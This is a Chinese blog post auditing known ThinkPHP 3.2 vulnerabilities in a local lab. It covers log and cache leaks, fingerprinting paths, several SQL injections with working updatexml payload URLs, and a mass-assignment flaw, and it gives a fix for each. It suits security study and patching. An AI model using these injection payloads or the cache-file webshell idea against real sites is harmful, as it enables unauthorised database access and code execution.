PHP代码审计之再探 TP3 漏洞_指纹识别

之前写过关于 TP 漏洞的文章,只是时间久远,记忆不是很深刻,这次来复习温故知新

文章目录

  • ​​TP 3.2 信息泄露​​
  • ​​配置环境​​
  • ​​日志信息泄露​​
  • ​​缓存泄露​​
  • ​​指纹识别​​
  • ​​TP 3.2错误写法导致SQL注入​​
  • ​​exp 表达式​​
  • ​​TP 3.2 update\bind注入​​
  • ​​TP 3.2 find注入​​
  • ​​TP 3.2 OrderBy注入​​
  • ​​TP 3.2 逻辑漏洞​​

TP 3.2 信息泄露

配置环境

数据库连接配置

PHP代码审计之再探 TP3 漏洞_php_02

# application/home/controller/IndexController.class
<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller
{
public function index(){
$data=M("admin")->select();
dump($data);
// 注意方法
}
}
# 连接的是 test 库,并非上图所示

PHP代码审计之再探 TP3 漏洞_安全_03

开启调试

# application/home/Conf/config.php
'SHOW_PAGE_TRACE' => 'true',

PHP代码审计之再探 TP3 漏洞_php_04

日志信息泄露

Think PHP 在开启 DEBUG 的情况下会在 Runtime 目录下生成日志,如果 DEBUG 不关,可直接输入路径造成目录遍历

http://localhost/thinkphp/thinkphp_3.2.3_full/Application/runtime/logs/home/21_03_22.log

ThinkPHP3.2:Application/runtime/logs/home/21_03_22.log
ThinkPHP3.1:runtime/logs/home/21_03_22.log
对应:项目命\runtime\logs\home\year_mouth_day.log

日志里有执行 sql 语句的记录

PHP代码审计之再探 TP3 漏洞_php_05

防御方法

关闭 debug

缓存泄露

1.PHP快速缓存方法 F

PHP代码审计之再探 TP3 漏洞_代码审计_06

# application/home/controller/IndexController.class
class IndexController extends Controller
{
public function index(){
F("data","<?phpinfo();?>");
}
}

s:14:"<?phpinfo();?>";

先访问下 index,data 目录下就会生成缓存文件 data,如果 F 函数可控攻击者即可利用其写入木马

PHP代码审计之再探 TP3 漏洞_代码审计_07

2.数据缓存函数 S

缓存文件保存在 temp 目录下

PHP代码审计之再探 TP3 漏洞_安全_08

public function index(){
S("data","<?phpinfo();?>");
}

PHP代码审计之再探 TP3 漏洞_开发语言_09

文件名 md5 解密后就是 data

TP 有文件缓存的安全机制

# application/home/Conf/config.php
'DATA_CACHE_KEY' => 'think',

PHP代码审计之再探 TP3 漏洞_安全_10

解密后其实就是 thinkdata

指纹识别

  • 确定网站框架
  • cms 指纹识别 || 黑盒测试
  • 框架指纹识别

TP 3.2 可以通过访问以下 URL 出现 logo 则可以确定

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

PHP代码审计之再探 TP3 漏洞_安全_11

/ThinkPHP/logo.png

PHP代码审计之再探 TP3 漏洞_安全_12

常用识别方法:TP 全版本通常情况下可以通过随便拼接参数构造报错,如果开启了 Debug 模式会出现报错页面

PHP代码审计之再探 TP3 漏洞_php_13

也可以使用指纹识别工具、在线指纹识别网站、以及浏览器插件(如:wappalyzer)等识别 cms

TP 3.2错误写法导致SQL注入

后端代码

# application/home/controller/IndexController.class.php
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index(){
$username = I("username");
// I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换,此函数是安全的

$data = M("admin")->where(array("name"=>$username))->find();
// M方法用于实例化一个基础模型类,等效于 $User = new Model('User');

dump($data);
}
}

PHP代码审计之再探 TP3 漏洞_安全_14

参数默认会经过过滤函数

# Model.class.php
$resultSet = $this->db->select($options);

# Driver.class.php
protected function parseValue($value) {
if(is_string($value)) {
$value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';

# Driver.class.php
public function escapeString($str) {
return addslashes($str);
}

# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\'' LIMIT 1

错误写法

# application/home/controller/IndexController.class.php
public function index(){
$username = $_GET("username");
$data = M("admin")->where(array("name"=>$username))->find();
dump($data);
}

poc

http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

PHP代码审计之再探 TP3 漏洞_开发语言_15

exp 表达式

exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新

$map['id']=array('in','1,3,8');

# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
.....
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];
# 使用 exp 表达式,然而并没有进行过滤
......

漏洞修复

数据接收使用 I 函数

I 函数内封装了安全过滤函数

PHP代码审计之再探 TP3 漏洞_php_16

如果语句内存在这些过滤的特殊字符,则会在前边拼接一个空格,这样的话表达式判断失败

elseif('exp' == $exp ){ // 使用表达式

TP 3.2 update\bind注入

漏洞复现

updata 后端代码

class IndexController extends Controller
{
public function index(){
$condition['name']=I('username');
$data['pass']=I('password');
$res=M('admin')->where($condition)->save($data);
// 查询修改 admin 表 name 字段值对应的 密码
dump($res);
// 修改成功返回 1
}
}

poc

?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111

PHP代码审计之再探 TP3 漏洞_安全_17

UPDATE `admin` SET `pass`='123111' WHERE `name` = '123111' and 1=(updatexml(1,concat(0x3a,(user())),1))#

漏洞分析

调试界面看到从前端传过来的变量

PHP代码审计之再探 TP3 漏洞_代码审计_18

因为使用了 bind 函数,需要进行绑定,将 :0 和 123456 进行绑定

PHP代码审计之再探 TP3 漏洞_开发语言_19

绑定之后 sql 查询语句 set pass = :0

PHP代码审计之再探 TP3 漏洞_代码审计_20

PHP代码审计之再探 TP3 漏洞_开发语言_21

到这里语句进行了拼接,形成完整的语句,其中 where 条件后的 0 也通过通过匹配变为 :0

PHP代码审计之再探 TP3 漏洞_php_22

在执行语句前,对于 bind 函数绑定参数进行匹配在这里 :0 被替换为 123456 成为最后的语句

PHP代码审计之再探 TP3 漏洞_开发语言_23

漏洞修复

因为 I 函数,过滤函数没有包含 bind,所以添加即可

PHP代码审计之再探 TP3 漏洞_安全_24

补充:

is_scalar() 函数

bool is_scalar(mixed $var)

如果给出的变量参数 var 是一个标量,返回 True,否则返回 False

标量变量是指那些包含了 integer,float,string或 boolean 的变量,而 array,object 和 resource 则不是标量

TP 3.2 find注入

漏洞原因为写法不规范,不只是 find select、delete 等语句也存在相同问题(条件:查询数据表只有一个主键)

public function index()
{
$id = I("id");
$data = M("admin")->find($id);
dump($data);
}
}

已 find 函数为例:当​​$options​​为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段

poc

id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

PHP代码审计之再探 TP3 漏洞_安全_25

要进入复合主键查询代码,需要满足​​$options​​​为数组同时​​$pk​​​主键也要为数组,但这个对于表只设置一个主键的时候不成立,那么就可以使​​$options​​​为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入​​_parseOptions​​进行解析

// 分析表达式
$options = $this->_parseOptions($options);

没有经过任何过滤直接拼接语句造成 sql 注入漏洞

PHP代码审计之再探 TP3 漏洞_php_26

PHP代码审计之再探 TP3 漏洞_指纹识别_27

返回查询语句

PHP代码审计之再探 TP3 漏洞_安全_28

修复方法:

在 _parseOptions 函数中添加过滤

新版本修复方案:

把外部传进来的​​$options​​​,修改为​​$this->options​​​,同时不再使用​​$this->_parseOptions​​​对于​​$options​​进行表达式分析

TP 3.2 OrderBy注入

index

class IndexController extends Controller
{
public function index()
{
$username = I("username");
$order = I("order");
$data = M("admin")->where(array("name"=>$username))->order($order)->select();
dump($data);
}
}

poc

http://localhost:1111/?username=occcc&order[updatexml(1,concat(0x3a,user()),1)]

PHP代码审计之再探 TP3 漏洞_代码审计_29

调试,在调试的时候可以看右侧灰色字体判断此代码处理数据,把握好单步和跳步精准调式

PHP代码审计之再探 TP3 漏洞_代码审计_30

PHP代码审计之再探 TP3 漏洞_安全_31

这里直接 return order by 语句,没有任何过滤

修复:

在 parseOrder 中 parsekey 进行过滤

TP 3.2 逻辑漏洞

自动完成是 ThinkPHP 提供用来完成数据自动处理和过滤的方法,使用 create 方法创建数据对象的时候会自动完成数据处理

开发手册:https://www.kancloud.cn/manual/thinkphp/1777

漏洞原因:使用自动完成功能,但没有对字段进行完整限制,导致攻击者可以更改数据值

PHP代码审计之再探 TP3 漏洞_指纹识别_32

开启自动完成

PHP代码审计之再探 TP3 漏洞_php_33

class IndexController extends Controller
{
public function index()
{
$users = D("test");
// 实例化 User 对象
if(!$users->create()){
// 创建数据对象
// 如果创建失败,表示没有验证通过,输出错误信息
exit($users->getError());
} else {
$users->add();
// 验证通过,保存数据
}
}
}

UsersModel.class.php

<?php
namespace Home\Model;
use Think\Model;
class UsersModel extends Model{
protected $_auto = array(
array("password","md5",3,"function")
// 密码自动 md5 加密
);
}

可以看到自动完成功能中对于密码进行了 md5 值加密,没有对其他参数做限制

自动完成插入数据不支持 GET 请求,只支持 POST 请求

比如这里没有对 level 限制的话可以对数据进行更改很可能出现越权漏洞

PHP代码审计之再探 TP3 漏洞_php_34